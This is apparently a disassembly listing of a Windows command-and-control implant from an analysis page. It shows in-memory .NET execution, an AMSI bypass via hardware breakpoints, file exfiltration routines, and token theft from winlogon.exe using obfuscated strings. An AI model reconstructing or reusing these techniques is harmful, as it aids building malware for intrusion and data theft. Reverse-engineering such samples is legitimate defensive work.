Similarity

140011f20
140011f20DotnetExecute:
140011f20push rbp
140011f21xor r11l, r11l
140011f24xor eax, eax
140011f26mov rbp, rsp
140011f29push r15
140011f2bpush r14
140011f2dpush r13
140011f2fpush r12
140011f31push rdi
140011f32push rsi
140011f33push rbx
140011f34xor ebx, ebx
140011f36and rsp, -16
140011f3asub rsp, 176
140011f41mov r13, [rcx+8]
140011f45mov rsi, [rcx]
140011f48mov ecx, 6
140011f4dlea rdi, [rsp+152]
140011f55mov [rsp+116], ebx
140011f59mov r14, [rdx]
140011f5crep stosd [rdi], eax
140011f5emov [rsp+128], r11
140011f66mov [rsp+136], r11
140011f6emov [rsp+144], r11
140011f76mov [rsp+120], ebx
140011f7atest r13l, r13l
140011f7dje 0x14001201f
140011f83test rsi, rsi
140011f86je 0x14001201f
140011f8cmov rbx, [rip+0x1a3dd]
140011f93xor r9l, r9l
140011f96xor r10l, r10l
140011f99mov r8l, 4
140011f9fmov edx, 0x80003
140011fa4mov rdi, [rbx+2266]
140011fabmov rcx, [rdi+8]
140011fafmov [rsp+56], r9
140011fb4mov r9l, 255
140011fbamov [rsp+48], r10l
140011fbfmov [rsp+40], 0x50000
140011fc7mov [rsp+32], 0x50000
140011fcfcall [rbx+844]
140011fd5mov [rdi+72], rax
140011fd9mov rdi, [rbx+2266]
140011fe0cmp [rdi+72], 0
140011fe5jne 0x140012026
140011fe7mov rax, [rbx+2230]
140011feemov r8l, 48
140011ff4lea rdx, [rip+0x1b115]
140011ffblea rcx, [rip+0x1590e]
140012002mov r9l, [rax+104]
140012006
140012006loc_140012006:
140012006call printf
14001200bmov rax, [rbx+2230]
140012012mov ecx, 1
140012017mov edx, [rax+104]
14001201acall PackageTransmitError
14001201f
14001201floc_14001201f:
14001201fxor eax, eax
140012021jmp 0x1400126a3
140012026
140012026loc_140012026:
140012026xor r8l, r8l
140012029mov rcx, [rdi+8]
14001202dxor r9l, r9l
140012030mov edx, 0x40000000
140012035mov [rsp+48], r8
14001203amov r8l, 1
140012040mov [rsp+40], 128
140012048mov [rsp+32], 3
140012050call [rbx+812]
140012056mov [rdi+80], rax
14001205atest rax, rax
14001205djne 0x140012080
14001205fmov rax, [rbx+2230]
140012066mov r8l, 56
14001206clea rdx, [rip+0x1b09d]
140012073lea rcx, [rip+0x158ca]
14001207amov r9l, [rax+104]
14001207ejmp 0x140012006
140012080
140012080loc_140012080:
140012080call [rbx+1652]
140012086test rax, rax
140012089jne 0x1400120a7
14001208bcall [rbx+1636]
140012091call [rbx+1652]
140012097mov rcx, rax
14001209atest rax, rax
14001209dje 0x1400120a7
14001209fxor edx, edx
1400120a1call [rbx+1660]
1400120a7
1400120a7loc_1400120a7:
1400120a7mov rax, [rbx+2266]
1400120aelea r12, [rip+0x155a1]
1400120b5mov rcx, [rax+40]
1400120b9lea rdx, [rax+152]
1400120c0lea r9, [rax+168]
1400120c7lea r8, [rax+160]
1400120cecall ClrCreateInstance
1400120d3test eax, eax
1400120d5jne 0x1400120f8
1400120d7lea r9, [rip+0x15895]
1400120demov r8l, 75
1400120e4lea rdx, [rip+0x1b025]
1400120ebmov rcx, r12
1400120eecall printf
1400120f3jmp 0x14001201f
1400120f8
1400120f8loc_1400120f8:
1400120f8cmp [rbx+223], 1
1400120ffjne 0x140012249
140012105lea r9, [rip+0x1587a]
14001210cmov r8l, 108
140012112mov rcx, r12
140012115mov edi, 1
14001211alea rdx, [rip+0x1afef]
140012121call printf
140012126mov rax, [rbx+2266]
14001212dmov ecx, 8193
140012132mov edx, [rax]
140012134call PackageCreateWithRequestID
140012139mov edx, 1
14001213emov rcx, rax
140012141mov [rsp+72], rax
140012146call PackageAddInt32
14001214bcmp [rbx+2214], 0
140012153jne 0x14001215c
140012155call RtAmsi
14001215amov edi, eax
14001215c
14001215cloc_14001215c:
14001215clea rdx, [rip+0x1afad]
140012163mov rcx, r12
140012166lea r9, [rip+0x15835]
14001216dmov r8l, 119
140012173call printf
140012178xor edx, edx
14001217axor ecx, ecx
14001217ccall HwBpEngineInit
140012181test eax, eax
140012183js 0x14001201f
140012189mov rax, [rbx+2230]
140012190mov r15l, [rax+72]
140012194test edi, edi
140012196je 0x1400121e3
140012198lea r9, [rip+0x15814]
14001219fmov r8l, 130
1400121a5lea rdx, [rip+0x1af64]
1400121acmov rcx, r12
1400121afcall printf
1400121b4xor edx, edx
1400121b6mov r8, [rbx+2020]
1400121bdxor ecx, ecx
1400121bfmov [rsp+32], edx
1400121c3lea r9, [rip+15062]
1400121camov edx, r15l
1400121cdcall HwBpEngineAdd
1400121d2mov edi, eax
1400121d4test eax, eax
1400121d6jns 0x1400121e3
1400121d8mov r9l, eax
1400121dbmov r8l, 132
1400121e1jmp 0x14001222c
1400121e3
1400121e3loc_1400121e3:
1400121e3lea r9, [rip+0x1582d]
1400121eamov r8l, 138
1400121f0lea rdx, [rip+0x1af19]
1400121f7mov rcx, r12
1400121facall printf
1400121ffmov r8, [rbx+748]
140012206xor ecx, ecx
140012208mov edx, r15l
14001220bmov [rsp+32], 1
140012213lea r9, [rip+15046]
14001221acall HwBpEngineAdd
14001221ftest eax, eax
140012221jns 0x14001223f
140012223mov r9l, edi
140012226mov r8l, 140
14001222c
14001222cloc_14001222c:
14001222clea rdx, [rip+0x1aedd]
140012233lea rcx, [rip+0x1579f]
14001223ajmp 0x14001267e
14001223f
14001223floc_14001223f:
14001223fmov rcx, [rsp+72]
140012244call PackageTransmit
140012249
140012249loc_140012249:
140012249mov rax, [rbx+2266]
140012250mov ecx, 8193
140012255mov edx, [rax]
140012257call PackageCreateWithRequestID
14001225cmov edx, 2
140012261mov rcx, rax
140012264mov rdi, rax
140012267call PackageAddInt32
14001226cmov rax, [rbx+2266]
140012273mov rcx, rdi
140012276mov rdx, [rax+40]
14001227amov r8l, [rax+48]
14001227ecall PackageAddBytes
140012283mov rcx, rdi
140012286call PackageTransmit
14001228bmov rdi, [rbx+2266]
140012292xor eax, eax
140012294lea r8, [rsp+128]
14001229cmov edx, 1
1400122a1mov ecx, 17
1400122a6mov [rsp+128], r13l
1400122aemov [rsp+132], eax
1400122b5call [rbx+1300]
1400122bblea r9, [rip+0x15779]
1400122c2mov r8l, 165
1400122c8mov rcx, r12
1400122cbmov [rdi+136], rax
1400122d2lea rdx, [rip+0x1ae37]
1400122d9call printf
1400122demov rax, [rbx+2266]
1400122e5xor r8l, r8l
1400122e8mov rcx, [rax+168]
1400122efmov rdx, [rax+24]
1400122f3lea r9, [rax+184]
1400122famov r10, [rcx]
1400122fdcall [r10+96]
140012301mov r8l, 167
140012307lea rdx, [rip+0x1ae02]
14001230elea rcx, [rip+0x15736]
140012315mov r9l, eax
140012318test eax, eax
14001231ajne 0x14001267e
140012320lea r9, [rip+0x1574d]
140012327mov r8l, 171
14001232dlea rdx, [rip+0x1addc]
140012334mov rcx, r12
140012337call printf
14001233cmov rax, [rbx+2266]
140012343lea rdx, [rip+0x12cb6]
14001234amov rcx, [rax+184]
140012351lea r8, [rax+192]
140012358mov r9, [rcx]
14001235bcall [r9]
14001235emov r8l, 173
140012364lea rdx, [rip+0x1ada5]
14001236blea rcx, [rip+0x15714]
140012372mov r9l, eax
140012375test eax, eax
140012377jne 0x14001267e
14001237dmov rax, [rbx+2266]
140012384lea rdx, [rsp+136]
14001238cmov rcx, [rax+136]
140012393call [rbx+1284]
140012399mov r8l, 178
14001239flea rdx, [rip+0x1ad6a]
1400123a6lea rcx, [rip+0x15704]
1400123admov r9l, eax
1400123b0test eax, eax
1400123b2jne 0x14001267e
1400123b8lea r9, [rip+0x15722]
1400123bfmov r8l, 182
1400123c5lea rdx, [rip+0x1ad44]
1400123ccmov rcx, r12
1400123cfcall printf
1400123d4mov rdi, [rsp+136]
1400123dcmov ecx, r13l
1400123dfrep movsb [rdi], [rsi]
1400123e1mov rax, [rbx+2266]
1400123e8mov rcx, [rax+136]
1400123efcall [rbx+1292]
1400123f5mov r9l, eax
1400123f8test eax, eax
1400123faje 0x140012429
1400123fclea rdx, [rip+0x1ad0d]
140012403lea rcx, [rip+0x156f2]
14001240amov r8l, 186
140012410call printf
140012415mov rax, [rbx+2230]
14001241cmov ecx, 1
140012421mov edx, [rax+104]
140012424call PackageTransmitError
140012429
140012429loc_140012429:
140012429lea r9, [rip+0x156fe]
140012430mov r8l, 190
140012436lea rdx, [rip+0x1acd3]
14001243dmov rcx, r12
140012440call printf
140012445mov rax, [rbx+2266]
14001244cmov rcx, [rax+192]
140012453mov rdx, [rax+136]
14001245alea r8, [rax+176]
140012461mov r9, [rcx]
140012464call [r9+360]
14001246bmov r8l, 192
140012471lea rdx, [rip+0x1ac98]
140012478lea rcx, [rip+0x156c1]
14001247fmov r9l, eax
140012482test eax, eax
140012484jne 0x14001267e
14001248alea r9, [rip+0x156d5]
140012491mov r8l, 196
140012497lea rdx, [rip+0x1ac72]
14001249emov rcx, r12
1400124a1call printf
1400124a6mov rdx, [rbx+2266]
1400124admov rcx, [rdx+176]
1400124b4add rdx, 200
1400124bbmov rax, [rcx]
1400124becall [rax+128]
1400124c4mov r8l, 198
1400124calea rdx, [rip+0x1ac3f]
1400124d1lea rcx, [rip+0x156a5]
1400124d8mov r9l, eax
1400124dbtest eax, eax
1400124ddjne 0x14001267e
1400124e3mov rsi, [rbx+2266]
1400124eaxor edx, edx
1400124ecmov ecx, 12
1400124f1mov [rsp+72], eax
1400124f5mov r8l, 1
1400124fbcall [rbx+1308]
140012501lea rdx, [rsp+116]
140012506mov rcx, r14
140012509mov [rsi+144], rax
140012510call [rbx+1628]
140012516mov rdi, [rbx+2266]
14001251dxor edx, edx
14001251fmov ecx, 8
140012524mov rsi, rax
140012527mov eax, [rsp+116]
14001252bmov [rdi+208], 8200
140012534lea r8l, [rax-1]
140012538mov [rsp+116], r8l
14001253dcall [rbx+1308]
140012543mov r9l, [rsp+72]
140012548mov [rdi+216], rax
14001254flea rdi, [rsp+124]
140012554
140012554loc_140012554:
140012554mov [rsp+124], r9l
140012559mov r12, [rbx+1316]
140012560cmp [rsp+116], r9l
140012565jle 0x1400125b6
140012567movsxd r9, r9l
14001256amov rcx, [rsi+8*r9+8]
14001256fcall [rbx+1332]
140012575mov rdx, rdi
140012578mov r8, rax
14001257bmov rax, [rbx+2266]
140012582mov rcx, [rax+216]
140012589call r12
14001258cmov r9l, eax
14001258ftest eax, eax
140012591je 0x1400125ac
140012593mov r8l, 213
140012599lea rdx, [rip+0x1ab70]
1400125a0lea rcx, [rip+0x15606]
1400125a7jmp 0x14001267e
1400125ac
1400125acloc_1400125ac:
1400125acmov eax, [rsp+124]
1400125b0lea r9l, [rax+1]
1400125b4jmp 0x140012554
1400125b6
1400125b6loc_1400125b6:
1400125b6mov rax, [rbx+2266]
1400125bdlea rdx, [rsp+120]
1400125c2mov rcx, [rax+144]
1400125c9lea r8, [rax+208]
1400125d0call r12
1400125d3mov r8l, 219
1400125d9lea rdx, [rip+0x1ab30]
1400125e0lea rcx, [rip+0x155fb]
1400125e7mov r9l, eax
1400125eatest eax, eax
1400125ecjne 0x14001267e
1400125f2mov rsi, [rbx+2266]
1400125f9mov ecx, -11
1400125fecall [rbx+1668]
140012604mov ecx, -11
140012609mov [rsi+88], rax
14001260dmov rax, [rbx+2266]
140012614mov rdx, [rax+80]
140012618call [rbx+1676]
14001261emov rax, [rbx+2266]
140012625mov rdx, [rsp+168]
14001262dmovups x0, [rsp+152]
140012635mov rcx, [rax+200]
14001263cmov [rsp+96], rdx
140012641lea r9, [rax+232]
140012648lea rdx, [rsp+80]
14001264dmovups [rsp+80], x0
140012652mov r8, [rax+144]
140012659mov r10, [rcx]
14001265ccall [r10+296]
140012663mov r9l, eax
140012666test eax, eax
140012668je 0x140012688
14001266amov r8l, 227
140012670lea rdx, [rip+0x1aa99]
140012677lea rcx, [rip+0x15594]
14001267e
14001267eloc_14001267e:
14001267ecall printf
140012683jmp 0x14001201f
140012688
140012688loc_140012688:
140012688mov rax, [rbx+2266]
14001268fmov [rax+256], 1
140012699call DotnetPush
14001269emov eax, 1
1400126a3
1400126a3loc_1400126a3:
1400126a3lea rsp, [rbp-56]
1400126a7pop rbx
1400126a8pop rsi
1400126a9pop rdi
1400126aapop r12
1400126acpop r13
1400126aepop r14
1400126b0pop r15
1400126b2pop rbp
1400126b3ret
140011f20

1400126b4
1400126b4 // align 0x10

1400126c0
1400126c0DotnetPush:
1400126c0push rbx
1400126c1sub rsp, 32
1400126c5mov rbx, [rip+0x19ca4]
1400126ccmov rax, [rbx+2266]
1400126d3test rax, rax
1400126d6je 0x14001272e
1400126d8cmp [rax+256], 0
1400126dflea r9, [rip+0x14f9d]
1400126e6lea rax, [rip+0x14f91]
1400126edmov r8l, 369
1400126f3cmovne r9, rax
1400126f7lea rdx, [rip+0x1a572]
1400126felea rcx, [rip+0x14f84]
140012705call printf
14001270amov rax, [rbx+2266]
140012711cmp [rax+256], 0
140012718je 0x14001272e
14001271acall DotnetPushPipe
14001271fcall DotnetPushPipe
140012724add rsp, 32
140012728pop rbx
140012729jmp 0x140011b70
14001272e
14001272eloc_14001272e:
14001272eadd rsp, 32
140012732pop rbx
140012733ret
1400126c0

140012734
140012734 // align 0x10

140012740
140012740DotnetPushPipe:
140012740push rdi
140012741xor r11l, r11l
140012744push rbx
140012745sub rsp, 72
140012749mov rbx, [rip+0x19c20]
140012750mov [rsp+56], r11l
140012755mov rax, [rbx+2266]
14001275cmov [rsp+60], r11l
140012761test rax, rax
140012764je 0x140012894
14001276amov rcx, [rax+72]
14001276exor r10l, r10l
140012771lea rax, [rsp+56]
140012776xor r9l, r9l
140012779xor r8l, r8l
14001277cxor edx, edx
14001277emov [rsp+40], r10
140012783mov [rsp+32], rax
140012788call [rbx+860]
14001278etest eax, eax
140012790je 0x140012894
140012796mov r9l, [rsp+56]
14001279bmov r8l, 340
1400127a1lea rdx, [rip+0x1a7e8]
1400127a8lea rcx, [rip+0x14e81]
1400127afcall printf
1400127b4mov r8l, [rsp+56]
1400127b9test r8l, r8l
1400127bcje 0x140012894
1400127c2mov rax, [rbx+2230]
1400127c9mov rdi, [rbx+2266]
1400127d0mov edx, 8
1400127d5mov rax, [rax+96]
1400127d9mov [rdi+64], r8l
1400127ddmov rcx, [rax+48]
1400127e1call [rbx+316]
1400127e7xor r9l, r9l
1400127eamov [rdi+56], rax
1400127eemov rax, [rbx+2266]
1400127f5mov r8l, [rax+64]
1400127f9mov rdx, [rax+56]
1400127fdmov rcx, [rax+72]
140012801mov [rsp+32], r9
140012806lea r9, [rsp+60]
14001280bcall [rbx+916]
140012811mov edx, [rsp+60]
140012815mov ecx, 90
14001281amov rax, [rbx+2266]
140012821mov [rax+64], edx
140012824mov edx, [rax]
140012826call PackageCreateWithRequestID
14001282bmov rdi, rax
14001282emov rax, [rbx+2266]
140012835mov rcx, rdi
140012838mov rdx, [rax+56]
14001283cmov r8l, [rax+64]
140012840call PackageAddBytes
140012845mov rcx, rdi
140012848call PackageTransmit
14001284dmov rax, [rbx+2266]
140012854mov rdi, [rax+56]
140012858test rdi, rdi
14001285bje 0x140012894
14001285dmov ecx, [rsp+56]
140012861xor eax, eax
140012863rep stosb [rdi], al
140012865mov rdx, [rbx+2230]
14001286cmov rax, [rbx+2266]
140012873mov rdx, [rdx+96]
140012877mov r8, [rax+56]
14001287bmov rcx, [rdx+48]
14001287fxor edx, edx
140012881call [rbx+332]
140012887mov rax, [rbx+2266]
14001288exor edx, edx
140012890mov [rax+56], rdx
140012894
140012894loc_140012894:
140012894add rsp, 72
140012898pop rbx
140012899pop rdi
14001289aret
140012740

14001289b
14001289b // align 0x10

1400128a0
1400128a0DownloadAdd:
1400128a0push rbp
1400128a1mov r8l, 56
1400128a7mov rbp, rcx
1400128aapush rdi
1400128abmov rdi, rdx
1400128aemov edx, 8
1400128b3push rsi
1400128b4push rbx
1400128b5sub rsp, 40
1400128b9mov rsi, [rip+0x19ab0]
1400128c0mov rax, [rsi+2230]
1400128c7mov rax, [rax+96]
1400128cbmov rcx, [rax+48]
1400128cfcall [rsi+316]
1400128d5mov rbx, rax
1400128d8call RandomNumber32
1400128ddmov [rbx+8], rbp
1400128e1mov r9, rbx
1400128e4mov r8l, 21
1400128eamov [rbx], eax
1400128ecmov rax, [rsi+2310]
1400128f3lea rdx, [rip+0x1a9b6]
1400128falea rcx, [rip+0x1533f]
140012901mov [rbx+24], rdi
140012905mov [rbx+48], rax
140012909mov eax, [rsi+8]
14001290cmov [rbx+40], 1
140012913mov [rbx+16], eax
140012916mov [rsi+2310], rbx
14001291dcall printf
140012922add rsp, 40
140012926mov rax, rbx
140012929pop rbx
14001292apop rsi
14001292bpop rdi
14001292cpop rbp
14001292dret
1400128a0

14001292e
14001292e // align 0x10

140012930
140012930DownloadFree:
140012930push rdi
140012931push rbx
140012932mov rbx, rcx
140012935sub rsp, 40
140012939mov rcx, [rcx+8]
14001293dtest rcx, rcx
140012940je 0x140012947
140012942call SysNtClose
140012947
140012947loc_140012947:
140012947lea r9, [rip+0x1531c]
14001294emov r8l, 48
140012954mov rdi, rbx
140012957lea rdx, [rip+0x1a8a2]
14001295elea rcx, [rip+0x1531a]
140012965call printf
14001296amov ecx, 56
14001296fxor eax, eax
140012971rep stosb [rdi], al
140012973mov rax, [rip+0x199f6]
14001297amov r8, rbx
14001297dmov rdx, [rax+2230]
140012984mov rax, [rax+332]
14001298bmov rdx, [rdx+96]
14001298fmov rcx, [rdx+48]
140012993add rsp, 40
140012997xor edx, edx
140012999pop rbx
14001299apop rdi
14001299bjmp rax
140012930

14001299d
14001299d // align 0x10

1400129a0
1400129a0DownloadPush:
1400129a0push r14
1400129a2push r13
1400129a4lea r13, [rip+0x15358]
1400129abpush r12
1400129adlea r12, [rip+0x15468]
1400129b4push rbp
1400129b5lea rbp, [rip+0x1a5e4]
1400129bcpush rdi
1400129bdpush rsi
1400129bepush rbx
1400129bfsub rsp, 64
1400129c3mov rbx, [rip+0x199a6]
1400129camov rsi, [rbx+2310]
1400129d1mov rdi, [rbx+2250]
1400129d8test rsi, rsi
1400129dbjne 0x140012a1d
1400129ddtest rdi, rdi
1400129e0je 0x140012cc2
1400129e6mov ecx, [rbx+2258]
1400129ecxor eax, eax
1400129eerep stosb [rdi], al
1400129f0mov rax, [rbx+2230]
1400129f7mov r8, [rbx+2250]
1400129fexor edx, edx
140012a00mov rax, [rax+96]
140012a04mov rcx, [rax+48]
140012a08call [rbx+332]
140012a0exor r10l, r10l
140012a11mov [rbx+2250], r10
140012a18jmp 0x140012cc2
140012a1d
140012a1dloc_140012a1d:
140012a1dcmp [rbx+2250], 0
140012a25jne 0x140012a77
140012a27mov rax, [rbx+2230]
140012a2emov r8l, [rbx+244]
140012a35mov edx, 8
140012a3amov rax, [rax+96]
140012a3emov rcx, [rax+48]
140012a42call [rbx+316]
140012a48mov r8l, 129
140012a4emov rdx, rbp
140012a51lea rcx, [rip+0x15260]
140012a58mov [rbx+2250], rax
140012a5fmov r9, rax
140012a62mov eax, [rbx+244]
140012a68mov [rbx+2258], eax
140012a6emov [rsp+32], eax
140012a72call printf
140012a77
140012a77loc_140012a77:
140012a77mov r9, rsi
140012a7amov r8l, 132
140012a80mov rdx, rbp
140012a83mov rcx, r13
140012a86call printf
140012a8bcmp [rsi+40], 1
140012a8fjne 0x140012c36
140012a95mov r9l, [rsi]
140012a98xor eax, eax
140012a9amov r8l, 137
140012aa0mov rdx, rbp
140012aa3lea rcx, [rip+0x15277]
140012aaamov [rsp+60], eax
140012aaecall printf
140012ab3mov ecx, [rbx+2258]
140012ab9mov rdi, [rbx+2250]
140012ac0xor eax, eax
140012ac2rep stosb [rdi], al
140012ac4xor r9l, r9l
140012ac7mov r8l, [rbx+2258]
140012acemov rdx, [rbx+2250]
140012ad5mov rcx, [rsi+8]
140012ad9mov [rsp+32], r9
140012adelea r9, [rsp+60]
140012ae3call [rbx+916]
140012ae9test eax, eax
140012aebjne 0x140012b0d
140012aedmov rax, [rbx+2230]
140012af4mov r8l, 143
140012afamov rdx, rbp
140012afdlea rcx, [rip+0x1525f]
140012b04mov r9l, [rax+104]
140012b08call printf
140012b0d
140012b0dloc_140012b0d:
140012b0dmov edx, [rsp+60]
140012b11sub [rsi+24], rdx
140012b15add [rsi+32], rdx
140012b19test edx, edx
140012b1bje 0x140012bfc
140012b21lea r14, [rip+0x15157]
140012b28lea r9, [rip+0x15260]
140012b2fmov r8l, 151
140012b35mov rdx, rbp
140012b38mov rcx, r14
140012b3bcall printf
140012b40mov edx, [rsi+16]
140012b43mov ecx, 15
140012b48call PackageCreateWithRequestID
140012b4dmov edx, 2
140012b52mov rdi, rax
140012b55mov rcx, rax
140012b58call PackageAddInt32
140012b5dmov edx, 1
140012b62mov rcx, rdi
140012b65call PackageAddInt32
140012b6amov edx, [rsi]
140012b6cmov rcx, rdi
140012b6fcall PackageAddInt32
140012b74mov rdx, [rbx+2250]
140012b7bmov r8l, [rsp+60]
140012b80mov rcx, rdi
140012b83call PackageAddBytes
140012b88lea r9, [rip+0x15214]
140012b8fmov rdx, rbp
140012b92mov rcx, r14
140012b95mov r8l, 164
140012b9bcall printf
140012ba0mov rcx, rdi
140012ba3call PackageTransmit
140012ba8cmp [rsp+60], 0
140012badje 0x140012bfc
140012bafcmp [rsi+24], 0
140012bb4jne 0x140012bfc
140012bb6mov edx, [rsi+16]
140012bb9mov ecx, 15
140012bbecall PackageCreateWithRequestID
140012bc3mov edx, 2
140012bc8mov rdi, rax
140012bcbmov rcx, rax
140012bcecall PackageAddInt32
140012bd3mov edx, 2
140012bd8mov rcx, rdi
140012bdbcall PackageAddInt32
140012be0mov edx, [rsi]
140012be2mov rcx, rdi
140012be5call PackageAddInt32
140012beamov rcx, rdi
140012bedxor edx, edx
140012befcall PackageAddInt32
140012bf4mov rcx, rdi
140012bf7call PackageTransmit
140012bfc
140012bfcloc_140012bfc:
140012bfcmov r9l, [rsp+60]
140012c01mov rax, [rsi+24]
140012c05test r9l, r9l
140012c08je 0x140012c0f
140012c0atest rax, rax
140012c0djne 0x140012c36
140012c0f
140012c0floc_140012c0f:
140012c0fmov edx, [rsi]
140012c11mov [rsp+32], rax
140012c16mov r8l, 188
140012c1clea rcx, [rip+0x15198]
140012c23mov [rsp+40], edx
140012c27mov rdx, rbp
140012c2acall printf
140012c2fmov [rsi+40], 3
140012c36
140012c36loc_140012c36:
140012c36mov rax, [rsi+48]
140012c3amov r9, rsi
140012c3dmov r8l, 196
140012c43mov rdx, rbp
140012c46mov rcx, r12
140012c49mov [rsp+32], rax
140012c4ecall printf
140012c53mov rsi, [rsi+48]
140012c57test rsi, rsi
140012c5ajne 0x140012a1d
140012c60mov rdi, [rbx+2310]
140012c67
140012c67loc_140012c67:
140012c67test rdi, rdi
140012c6aje 0x140012cac
140012c6ccmp [rdi+40], 3
140012c70mov rax, [rdi+48]
140012c74je 0x140012c7e
140012c76
140012c76loc_140012c76:
140012c76mov rsi, rdi
140012c79mov rdi, rax
140012c7cjmp 0x140012c67
140012c7e
140012c7eloc_140012c7e:
140012c7etest rsi, rsi
140012c81jne 0x140012c94
140012c83
140012c83loc_140012c83:
140012c83mov rcx, rdi
140012c86mov [rbx+2310], rax
140012c8dcall DownloadFree
140012c92jmp 0x140012cac
140012c94
140012c94loc_140012c94:
140012c94mov [rsi+48], rax
140012c98mov rcx, rdi
140012c9bcall DownloadFree
140012ca0cmp [rdi+40], 3
140012ca4mov rax, [rdi+48]
140012ca8jne 0x140012c76
140012caajmp 0x140012c83
140012cac
140012cacloc_140012cac:
140012cacmov rdi, [rbx+2250]
140012cb3test rdi, rdi
140012cb6je 0x140012cc2
140012cb8mov ecx, [rbx+2258]
140012cbexor eax, eax
140012cc0rep stosb [rdi], al
140012cc2
140012cc2loc_140012cc2:
140012cc2add rsp, 64
140012cc6pop rbx
140012cc7pop rsi
140012cc8pop rdi
140012cc9pop rbp
140012ccapop r12
140012cccpop r13
140012ccepop r14
140012cd0ret
1400129a0

140012cd1
140012cd1 // align 0x10

140012ce0
140012ce0DownloadRemove:
140012ce0push rsi
140012ce1mov r9l, ecx
140012ce4push rbx
140012ce5sub rsp, 40
140012ce9mov rax, [rip+0x19680]
140012cf0mov rsi, [rax+2310]
140012cf7mov rbx, rsi
140012cfa
140012cfaloc_140012cfa:
140012cfatest rbx, rbx
140012cfdje 0x140012d3d
140012cffcmp [rbx], r9l
140012d02jne 0x140012d34
140012d04mov r8l, 73
140012d0alea rdx, [rip+0x1a40f]
140012d11lea rcx, [rip+0x14f7b]
140012d18call printf
140012d1dmov rax, [rbx+48]
140012d21mov rcx, rbx
140012d24mov [rsi+48], rax
140012d28call DownloadFree
140012d2dmov eax, 1
140012d32jmp 0x140012d3f
140012d34
140012d34loc_140012d34:
140012d34mov rsi, rbx
140012d37mov rbx, [rbx+48]
140012d3bjmp 0x140012cfa
140012d3d
140012d3dloc_140012d3d:
140012d3dxor eax, eax
140012d3f
140012d3floc_140012d3f:
140012d3fadd rsp, 40
140012d43pop rbx
140012d44pop rsi
140012d45ret
140012ce0

140012d46
140012d46 // align 0x10

140012d50
140012d50ElevateToSystem:
140012d50push rdi
140012d51mov ecx, 26
140012d56push rsi
140012d57push rbx
140012d58xor ebx, ebx
140012d5amov eax, ebx
140012d5csub rsp, 96
140012d60lea rdi, [rsp+70]
140012d65rep stosb [rdi], al
140012d67xor eax, eax
140012d69mov ecx, 101
140012d6elea rdi, [rsp+70]
140012d73mov [rsp+48], rax
140012d78mov [rsp+56], rax
140012d7dcall HideChar
140012d82mov ecx, 111
140012d87movzx eax, al
140012d8amov [rsp+92], ax
140012d8fcall HideChar
140012d94mov ecx, 110
140012d99movzx eax, al
140012d9cmov [rsp+78], ax
140012da1call HideChar
140012da6mov ecx, 111
140012dabmovzx eax, al
140012daemov [rsp+74], ax
140012db3call HideChar
140012db8mov ecx, 110
140012dbdmovzx eax, al
140012dc0mov [rsp+82], ax
140012dc5call HideChar
140012dcamov ecx, 103
140012dcfmovzx eax, al
140012dd2mov [rsp+84], ax
140012dd7call HideChar
140012ddcxor ecx, ecx
140012ddemovzx eax, al
140012de1mov [rsp+80], ax
140012de6call HideChar
140012debmov ecx, 108
140012df0movzx eax, al
140012df3mov [rsp+94], ax
140012df8call HideChar
140012dfdmov ecx, 101
140012e02movzx eax, al
140012e05mov [rsp+76], ax
140012e0acall HideChar
140012e0fmov ecx, 46
140012e14movzx eax, al
140012e17mov [rsp+88], ax
140012e1ccall HideChar
140012e21mov ecx, 105
140012e26movzx eax, al
140012e29mov [rsp+86], ax
140012e2ecall HideChar
140012e33mov ecx, 119
140012e38movzx eax, al
140012e3bmov [rsp+72], ax
140012e40call HideChar
140012e45mov ecx, 120
140012e4amovzx eax, al
140012e4dmov [rsp+70], ax
140012e52call HideChar
140012e57mov rcx, rdi
140012e5amovzx eax, al
140012e5dmov [rsp+90], ax
140012e62call GetProcessIdByName
140012e67mov ecx, 26
140012e6cmov r8l, eax
140012e6fmov eax, ebx
140012e71rep stosb [rdi], al
140012e73cmp r8l, -1
140012e77jne 0x140012e9e
140012e79lea r9, [rip+0x15460]
140012e80mov r8l, 89
140012e86lea rdx, [rip+0x1a2b3]
140012e8dlea rcx, [rip+0x15473]
140012e94call printf
140012e99jmp 0x140012fb0
140012e9e
140012e9eloc_140012e9e:
140012e9emov edx, 4096
140012ea3mov ecx, r8l
140012ea6call ProcessOpen
140012eabmov rdi, rax
140012eaetest rax, rax
140012eb1je 0x140012f85
140012eb7lea r8, [rsp+56]
140012ebcmov edx, 14
140012ec1mov rcx, rax
140012ec4call SysNtOpenProcessToken
140012ec9mov esi, eax
140012ecbtest eax, eax
140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50

140012fbc
140012fbc // align 0x10

140012fc0
140012fc0EndsWithIW:
140012fc0test rcx, rcx
140012fc3je 0x140013000
140012fc5test rdx, rdx
